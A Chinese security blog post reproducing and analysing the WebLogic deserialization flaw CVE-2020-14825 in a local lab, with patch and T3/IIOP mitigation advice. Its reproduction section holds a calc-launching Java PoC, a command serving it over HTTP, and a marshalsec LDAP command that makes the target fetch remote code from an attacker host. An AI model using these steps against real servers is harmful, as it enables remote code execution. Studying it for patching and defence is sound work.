专栏首页Timeline SecCVE-2020-14825:Weblogic反序列化漏洞复现

CVE-2020-14825:Weblogic反序列化漏洞复现

作者:DEADF1SH_CAT@Timeline Sec

本文字数:1891

阅读时长:6~7min

声明:请勿用作违法用途,否则后果自负

0x01 简介

Weblogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JavaEE架构的中间件,Weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

0x02 漏洞概述

漏洞编号CVE-2020-14825

Oracle官方在2020年10月份发布的最新安全补丁中修复了许多安全漏洞,其中黑名单类oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor可造成反序列化漏洞。该漏洞允许未经身份验证的攻击者通过IIOP,T3进行网络访问,未经身份验证的攻击者成功利用此漏洞可能接管Oracle Weblogic Server。

0x03 影响版本

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

0x04 环境搭建

由于之前复现CVE-2020-14645漏洞时已经搭建完成,因此在此不过多阐述过程,仅记录一些信息。

Weblogic下载链接:

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

选择 12.2.1.4 的 Generic 版本进行下载安装即可,安装过程注意JDK版本造成的安装失败(建议JDK 1.8)以及以管理员权限运行安装包。具体安装过程可参照这两篇文章:

http://www.quiee.com.cn/courses/qui/370984-1429262936779670.html
https://www.cnblogs.com/xdp-gacl/p/4140683.html

此外,安装过程中,为方便后续其他漏洞利用,安装类型可选择“含示例的完整安装”。

安装完之后,直接运行安装目录下的启动脚本即可,路径结构如下:

$Oracle_Home$\12.2.1.4.0\user_projects\domains\wl_server\startWebLogic.cmd
// Oracle_Home指WebLogic安装的绝对路径

启动脚本后,浏览器访问

http://127.0.0.1:7001/console

正常显示控制台登录界面,即代表安装成功。

0x05 漏洞复现

1、编译poc文件并通过python部署在http服务器,poc文件如下:

public class exp{
    // POC open calc
    public exp(){
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        exp e = new exp();
    }
}

将编译产生的 class 文件部署在 python 起的 http 服务器

//python3
$python -m http.server 80

2、启动 ldap 服务链接到 poc 文件

$java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://192.168.247.128/#Poc 1389

3、运行 payload 文件生成反序列化数据文件,通过t3协议传输

payload 文件见:

https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE_2020_14825.java

python T3 脚本见:

https://github.com/rufherg/WebLogic_Basic_Poc

0x06 漏洞分析

这个漏洞实质上跟 CVE-2020-14645 并无太大差别,前半段的利用链入口是一致的,只不过最后造成代码执行的类不一样。CVE-2020-14645 用的类为com.tangosol.util.extractor.UniversalExtractor,而 CVE-2020-14825 用的类是oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor

从调用栈来看,前半部分即是 CC4 链的入口,此部分网上有很多深入分析的文章,此处不再阐述。重点来关注LockVersionExtractor这个类,观察其extract方法。

重点关注图上红框的方法,先来看this.accessor的来源。

构造方法中可以指定accessor,然后在extract方法中会依次调用其initializeAttributesgetAttributeValueFromObject方法。那么我们需要找到一个符合条件的Accessor类,并且其initializeAttributesgetAttributeValueFromObject方法中存在可恶意利用的部分。这里我们寻找到MethodAttributeAccessor这个类,在其getAttributeValueFromObject方法中存在恶意利用的部分。

但此处由于extract方法中的调用参数只有arg0,即parametersnull,因此我们只能寻找无参的利用方法。

方法名可以通过直接调用setGetMethod方法设置,但是这个属性值是经过transient修饰的。所以我们只能从setGetMethod方法入手,看看哪里还调用了这个方法。

恰巧在其initializeAttributes方法有一处调用了setGetMethod方法,但是注意需要给父类AttributeAccessorattributeName属性赋值,否则将抛出异常。接下来跟进Helper.getDeclaredMethod方法进行分析。

大致就是根据传入的方法是否私有,然后进行不同的处理,最终返回所需的Method对象。所以我们只要通过setGetMethodName方法设置this.getMethodName属性值,但是需要注意的是,我们需要令this.isWriteOnly()返回true,否则将会覆盖我们上面设置的方法。可以通过setIsWriteOnly方法设置this.isWriteOnlytrue

至此,我们可以通过反序列化已经可以调用任意类的无参方法。很容易联想到 CVE-2020-14645 和 fastjson 的利用方式,即通过JdbcRowSetImpl进行 JNDI 注入。其connect方法中调用了lookup方法,并且DataSourceName是可控的,因此存在JNDI注入漏洞,看看有哪些地方调用了connect方法。

由于setAutoCommit不是无参方法,因此使用getDatabaseMetaData方法进行利用。

0x07 修复方式

1、安装官方补丁

https://www.oracle.com/security-alerts/cpuoct2020.html

2、限制T3访问来源

漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。

3、禁用IIOP协议

可以查看下面官方文章进行关闭IIOP协议。

https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html

0x08 总结

实质上,这个洞也是一种类比思路产生,从2555到2883,再到14645然后到14825。不断在跟黑名单博弈,利用链前半段依旧不变,一直在找可以替代的Extractor。在平时的一些挖洞上,类比思路是一个很好的技巧,比起全盘代码审计,显得更加高效。在不断的漏洞复现中,需要学会总结中其中存在的共性,并将其转化为自己的经验技巧,用于平时的漏洞挖掘又或者从甲方的角度去思考如何真正有效的防御。

参考链接:

https://www.oracle.com/security-alerts/cpuoct2020.html https://github.com/mbechler/marshalsec https://github.com/rufherg/WebLogic_Basic_Poc

本文分享自微信公众号 - Timeline Sec(TimelineSec),作者:DEADF1SH_CAT

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-10-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • weblogic Coherence 组件漏洞总结分析

    Coherence 组件是 WebLogic 中的一个核心组件,内置在 WebLogic 中。关于 Coherence 组件的官方介绍:https://www....

    C4rpeDime
  • 【漏洞分析】Weblogic反序列化漏洞分析(CVE-2021-2394)

    生成wlfullclient.jar包:来到wlserver\server\lib下运行java -jar ../../modules/com.bea.core...

    Timeline Sec
  • CVE-2021-2394:Weblogic反序列化漏洞复现

    WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

    Timeline Sec
  • 【漏洞通告】Weblogic多个远程代码执行漏洞

    2021年1月20日,绿盟科技监测发现Oracle官方发布了2021年1月关键补丁更新公告CPU(Critical Patch Update),共修复了329个...

    绿盟科技安全情报
  • Weblogic CVE-2020-2551漏洞复现&CS实战利用

    https://www.anquanke.com/post/id/199227#h3-7 https://www.cnblogs.com/tr1ple/p/12...

    HACK学习
  • Weblogic12c T3 协议安全漫谈

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件。主要用于开发、集成、部署和管理...

    Seebug漏洞平台
  • 干货 | 最全的Weblogic漏洞复现

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集...

    HACK学习
  • 腾讯蓝军安全通告:WebLogic远程代码执行漏洞(CVE-2020-14645)

    今日,Oracle官方发布WebLogic安全更新,其中修复了一个CVSS评分为9.8的严重漏洞(CVE-2020-14645),该漏洞通过T3协议和IIOP协...

    腾讯安全应急响应中心
  • CVE-2020-2551复现过程

    先git clone https://github.com/cnsimo/CVE-2020-2551.git克隆本项目到本地。

    CN_Simo
  • Weblogic漏洞利用总结

    Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集...

    黑白天安全
  • 2020护网期间公布漏洞总结-附部分漏洞Poc,Exp

    4.Apache DolphinScheduler远程代码执行漏洞(CVE-2020-11974),危害级别:危急,官方已发布补丁

    Gamma实验室
  • CVE-2020-14644 weblogic iiop反序列化漏洞

    Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

    用户7651784
  • CVE-2020-14645:Weblogic远程代码执行复现

    WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署...

    Timeline Sec
  • CVE-2020-14645:Weblogic远程代码执行复现

    WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署...

    用户1631416
  • 【威胁通告】Weblogic远程代码执行漏洞(CVE-2020-2546、CVE-2020-2551)威胁通告

    北京时间2020年1月15日,Oracle发布2020年1月关键补丁更新(Critical Patch Update,简称CPU),此次更新修复了333个危害程...

    绿盟科技安全情报
  • web logic漏洞重现与攻防实战图文+视频教程(完整版)

    本 Chat 介绍 Weblogic 常见的漏洞,其中包括:弱口令、Java 反序列化、XMLdecoder 反序列化、SSRF 漏洞、任意文件上传,并根据其漏...

    用户1631416
  • Weblogic 反序列化漏洞(CVE-2018-2628)漫谈

    2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic ...

    Seebug漏洞平台
  • 漏洞分析|Weblogic未授权访问及命令执行分析复现(CVE-2020-14882/14883)

    一、背景 漏洞概述: WebLogic是美国Oracle公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的J2EE...

    云鼎实验室
  • 修而未复:说说WebLogic那修不完的Java反序列化漏洞

    编者说明:这篇文章初稿写在Oracle CPU补丁发布之后,考虑到文章内容的影响,并未在当时发布,WebLogic 的 Java 反序列化漏洞,已经修复了多次,...

    数据和云

扫码关注云+社区

领取腾讯云代金券